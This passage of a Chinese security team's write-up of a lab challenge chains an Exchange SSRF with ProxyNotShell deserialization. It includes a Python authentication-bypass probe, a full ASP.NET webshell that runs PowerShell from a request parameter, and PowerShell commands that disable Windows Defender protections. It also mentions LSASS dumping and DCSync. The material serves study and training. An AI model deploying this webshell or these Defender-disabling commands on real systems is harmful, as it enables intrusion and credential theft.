src="https://wechat2rss.xlab.app/img-proxy/?k=bf7eb77b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagFKXzlIIDSrmaLRFp4iaAib5bAdmHO0iav5zNpo3ugQz0ts993xUx7L8gg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实战环境中也可能遇到这样的exchange环境，实际邮箱都在云端office365上，本地并没有被频繁使用。导出邮件需要用户为exchange管理员，在域中为organization managemen组成员，极端的情况下会出现organization management组为空的情况。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>SSRF2RCE</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">针对这种环境，proxyshell是没法利用了。但存在的ssrf还是可以使用的，我们可以通过ssrf调用ews获取用户邮箱的邮件进行进一步的信息搜集，主要参考：<a href="https://evi1cg.me/archives/CVE_2018_8581.html。" target="_blank">https://evi1cg.me/archives/CVE_2018_8581.html。</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">尝试读取后也没有发现值得留意的信息，这时候想到exchange还有很多认证后的反序列化漏洞，我们是否可以借助这个ssrf绕过认证再调用后台的反序列化漏洞呢。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过响应包，我们发现该exchange版本为15.02.0721.002，版本比较老旧，不受CVE-2021–42321,CVE-2022-23277等漏洞影响，相比较之下比较新的漏洞ProxyNotShell影响范围更广一些，poc为<a href="https://github.com/testanull/ProxyNotShell-PoC。" target="_blank">https://github.com/testanull/ProxyNotShell-PoC。</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">原始脚本直接使用账户密码认证，再利用反序列化漏洞进行攻击，这里我们需要修改成使用ssrf漏洞结合X-Rps-CAT绕过认证的形式：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.17962962962962964" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=20f57cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag5Wj93OCtSox3EicicYx7dJSRbRVGu7JCMmQNvalYicX0Mh2wGiawkeFKwg%2F640%3Fwx_fmt%3Dpng"/>其中X-Rps-CAT我们可以使用proxyshellwithsid.py这个脚本获取：<img class="rich_pages wxw-img" data-ratio="0.11296296296296296" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fbb0fcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag12UCjz6C5pcUPFL4Bfvgl83oEicKiarmmpWFfwoJ9libhQ1tnsb3GhmKQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>ReSSRF</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">填入<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellcmd.py这个脚本后进行rce，这里遇到一个命令执行没回显的经典问题。目标是肯定不出网的，包括dns。只能写入文件，但该环境无法访问常规的exchange放webshell的目录，如owa/ecp/aspnet_client等。而autodiscover等目录虽然可以访问，但需要凭据。联系前面的内容我们很容易想到通过ssrf绕过autodiscover的认证，简单写一个探测脚本：" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellcmd.py这个脚本后进行rce，这里遇到一个命令执行没回显的经典问题。目标是肯定不出网的，包括dns。只能写入文件，但该环境无法访问常规的exchange放webshell的目录，如owa/ecp/aspnet_client等。而autodiscover等目录虽然可以访问，但需要凭据。联系前面的内容我们很容易想到通过ssrf绕过autodiscover的认证，简单写一个探测脚本：</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">import requests<br/> <br/>base_url=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://10.0.102.210" target="_blank">https://10.0.102.210</a>&#34;</span><br/>original_url=<span style="color: #D69D85;line-height: 26px;">&#34;autodiscover/1.txt&#34;</span><br/>headers={}<br/>cookies={}<br/> <br/>headers[<span style="color: #D69D85;line-height: 26px;">&#34;User-Agent&#34;</span>] = <span style="color: #D69D85;line-height: 26px;">&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36&#34;</span><br/>cookies[<span style="color: #D69D85;line-height: 26px;">&#34;Email&#34;</span>] = <span style="color: #D69D85;line-height: 26px;">&#34;autodiscover/autodiscover.json?a=ictbv@pshke.pov&#34;</span><br/>url = base_url + <span style="color: #D69D85;line-height: 26px;">&#34;/autodiscover/autodiscover.json?a=ictbv@pshke.pov/%s&#34;</span> % original_url<br/>r=requests.get(url,headers=headers,cookies=cookies,verify=False)<br/><span style="color: #4EC9B0;line-height: 26px;">print</span>(r.text)<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以借助ssrf绕过认证访问到autodiscover目录下的资源了，进行进一步利用：<img class="rich_pages wxw-img" data-ratio="0.21388888888888888" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5510f777&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagWU3ibJhFWPeEh5oVHo9ICJVVFiaIkvXCGms7jKa6889y28NBzGAQYjgw%2F640%3Fwx_fmt%3Dpng"/>多次尝试后发现无法成功写入。尝试了多个可能问题，包括命令的转义等情况，最后得出结论可能是被目标杀软拦截了。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>反序列化利用写文件</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">之前在很多场景下遇到了限制w3wp.exe调用cmd的情况，之前也介绍过TypeConfuse的写文件，这次使用ResourceDictionary写文件，主要可以参考头像哥的文章<a href="https://www.t00ls.com/articles-55183.html#tls3，需要注意转义，路径带空格等问题：" target="_blank">https://www.t00ls.com/articles-55183.html#tls3，需要注意转义，路径带空格等问题：</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.12962962962962962" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=291dfd21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagiaFOhaRyLxM9SzOVEQfSoqG82ic5sZtH7MEgk37ia5P3OricDVcb9jk6Rg%2F640%3Fwx_fmt%3Dpng"/>修改poc后写入使用<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：</a><img class="rich_pages wxw-img" data-ratio="0.6148148148148148" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d7ec51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagedTR75SbiaAevyqf6ib4QAbbf0TXvL4ybMwITXgsXwIRszULibkPTSXWg%2F640%3Fwx_fmt%3Dpng"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>bypass windows definder ATP</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">更换多个shell后发现列目录等文件操作没问题</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2611111111111111" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b1d3ecff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagSiaichFNHD1xCbXxvcCibFoNj92bGAkoyakFbYqoiauXc84zibPDdo5R0XA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但执行命令就会被拒绝，查看目录可以发现存在较新的windows definder atp，使用<a href="https://github.com/ThePacketBender/webshells/blob/master/POWERshell.aspx可以通过调用c#" target="_blank">https://github.com/ThePacketBender/webshells/blob/master/POWERshell.aspx可以通过调用c#</a> powershell相关的dll绕过definder部分限制。在这个漏洞利用的情境下使用控件表单的webshell非常麻烦，稍微修改一下webshell：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">&lt;%@ Page Language=<span style="color: #D69D85;line-height: 26px;">&#34;C#&#34;</span> %&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Collections.ObjectModel&#34;</span>%&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation&#34;</span>%&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation.Runspaces&#34;</span>%&gt;<br/>&lt;%@ Assembly Name=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35&#34;</span>%&gt;<br/> <br/>&lt;!DOCTYPE html&gt;<br/> <br/>&lt;script Language=<span style="color: #D69D85;line-height: 26px;">&#34;c#&#34;</span> runat=<span style="color: #D69D85;line-height: 26px;">&#34;server&#34;</span>&gt;<br/> <br/>    private static string powershelled(string scriptText)<br/>    {<br/>        try<br/>        {<br/>            Runspace runspace = RunspaceFactory.CreateRunspace();<br/>            runspace.Open();<br/> <br/>            Pipeline pipeline = runspace.CreatePipeline();<br/>            pipeline.Commands.AddScript(scriptText);<br/>            pipeline.Commands.Add(<span style="color: #D69D85;line-height: 26px;">&#34;Out-String&#34;</span>);<br/> <br/>            Collection&lt;PSObject&gt; results = pipeline.Invoke();<br/>            runspace.Close();<br/>            StringBuilder stringBuilder = new StringBuilder();<br/>            foreach (PSObject obj <span style="color: #569CD6;line-height: 26px;">in</span> results)<br/>                stringBuilder.AppendLine(obj.ToString());<br/> <br/>            <span style="color: #4EC9B0;line-height: 26px;">return</span> stringBuilder.ToString();<br/>        }catch(Exception exception)<br/>        {<br/>            <span style="color: #4EC9B0;line-height: 26px;">return</span> string.Format(<span style="color: #D69D85;line-height: 26px;">&#34;Error: {0}&#34;</span>, exception.Message);<br/>        }<br/>    }<br/>    <br/>    protected void Page_Load(object sender, EventArgs e)<br/>    {<br/>       Response.Write(powershelled(Request.Params[<span style="color: #D69D85;line-height: 26px;">&#34;cmd&#34;</span>]));<br/>    }<br/>&lt;/script&gt;<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以执行部分powershell命令：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.5455607476635514" style="display: block;margin: 0 auto;max-width: 100%;" data-w="856" src="https://wechat2rss.xlab.app/img-proxy/?k=ada7eed8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagCynrgDEDUNsLgG7bX2FNPHYdLsy1nrPiaO7ImbHFAYJY32MriauApQ4w%2F640%3Fwx_fmt%3Dpng"/>启动敏感进程依旧被拦截：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4131147540983607" style="display: block;margin: 0 auto;max-width: 100%;" data-w="915" src="https://wechat2rss.xlab.app/img-proxy/?k=5976ce99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagOcCfBT56rp1cSxC8KrDr2G319dvpjlw9iaDtbiaF8wENgO8wUNZE8gUQ%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>MORE</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过c#调用powershell相关dll可以实现绕过ATP执行部分命令，但这样还不足够。我们可以使用powersell关闭definder的一些功能：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables realtime monitoring</span><br/>Set-MpPreference -DisableRealtimeMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables scanning for downloaded files or attachments</span><br/>Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disable behaviour monitoring</span><br/>Set-MPPreference -DisableBehaviourMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Make exclusion for a certain folder</span><br/>Add-MpPreference -ExclusionPath <span style="color: #D69D85;line-height: 26px;">&#34;C:\Windows\Temp&#34;</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables cloud detection</span><br/>Set-MPPreference -DisableBlockAtFirstSeen <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables scanning of .pst and other email formats</span><br/>Set-MPPreference -DisableEmailScanning <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables script scanning during malware scans</span><br/>Set-MPPReference -DisableScriptScanning <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Exclude files by extension</span><br/>Set-MpPreference -ExclusionExtension <span style="color: #D69D85;line-height: 26px;">&#34;ps1&#34;</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Turn off everything and set exclusion to &#34;C:\Windows\Temp&#34;</span><br/>Set-MpPreference -DisableRealtimeMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableBehaviorMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableBlockAtFirstSeen <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableEmailScanning <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPReference -DisableScriptScanning <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span>;Add-MpPreference -ExclusionPath <span style="color: #D69D85;line-height: 26px;">&#34;C:\Windows\Temp&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">对于ATP的绕过手段有很多种，笔者一般使用三种办法：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用c#调用winrm，实现winrm进程启动cmd.exe而不是w3wp进程启动cmd.exe。可以继承当前shell上下文的权限，但只能是管理员调用(域内机器)。适用于exch这种system启动的shell或有域身份的shell。winrm相关库：<a href="http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll" target="_blank">http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll</a></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">c#调用powershell的反射类型，即上面提到的webshell：<a href="https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/" target="_blank">https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/</a>
<a href="https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok" target="_blank">https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok</a></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用c#实现接下来需要的完整功能，如导出ldap，dumplsass，甚至包括直接进行dcsync操作。在之前的文章《记一次团队内部的红蓝对抗-攻击篇 》中我们曾经使用c#导出过spn。</p></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">经过一系列操作后，我们获取到了本地administrator用户的hash，横向移动后在dc获取到了flag。</p></section><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">环境获取</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本挑战为xbitsplatform公开环境，师傅可以直接通过 <span style="text-align:left;line-height:1.75;color:#576b95;">www.xbitsplatform.com</span> 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">知识星球</h3><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;width: 348px;height: 414px;" src="https://wechat2rss.xlab.app/img-proxy/?k=32519c4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk8DWeWWZyojvpQIRESLPKpib3FHKhmPvxpc6vuu9zRxMAniaMf3tB7NoA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">团队其他文章</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500897&amp;idx=1&amp;sn=7246ef032d27bd123cb53b0c967e042c&amp;chksm=c0e8a033f79f2925447a115913fc5705285b3aa2d3850681e048509ebf9222aaea79da37e345&amp;scene=21#wechat_redirect" textvalue="记一次对微服务架构的渗透测试" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">记一次对微服务架构的渗透测试</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500867&amp;idx=1&amp;sn=b0972455409f2c2f98c1078be18dc1fe&amp;chksm=c0e8a011f79f29074a1a75990cd9e4d2ace895b2dc8f8ec0f0f898514e0e38e9e9c9223ac62a&amp;scene=21#wechat_redirect" textvalue="域渗透-How2MoveLaterally" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2MoveLaterally</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500440&amp;idx=1&amp;sn=138b43f66e7e4107b5a957712620d884&amp;chksm=c0e8a6caf79f2fdc7ec261842b089bdd1c22ab39d3393640a5c39bb9db991b210990e2b190a6&amp;scene=21#wechat_redirect" textvalue="域渗透-How2UseLdap" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2UseLdap</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500331&amp;idx=1&amp;sn=4f2661ed53573844425739960cad6817&amp;chksm=c0e8a679f79f2f6f3be01c6bf78e62280700d1d1599d8c916f6d29b284a0b61bc8e55d9daa76&amp;scene=21#wechat_redirect" textvalue="域渗透-How2PwnACLs" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2PwnACLs</a><br/></p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">了解更多关于xbitsplatform的信息：</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform公测版正式上线啦</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform使用说明</span></a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500956">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c7bbfddd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500956%26idx%3D1%26sn%3D6576ddce812a5cde50a7b4d32be0a71b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Sep 2023 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次曲折的exchange漏洞利用-ProxyMaybeShell</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500954&amp;idx=1&amp;sn=95e97816125b76cfa671e17e2be9c6b3</link>
      <description>本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。目前配套环境已上线7BitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-09-14 22:53</span> <span style="display: inline-block;">江苏</span>
</p>

<p>本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。目前配套环境已上线7BitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6bd415c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag1hVYtNgqaPStIIZR9L9jJmzuiapWlXkusO3v5icRYeCBU5PWe1f1SBhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


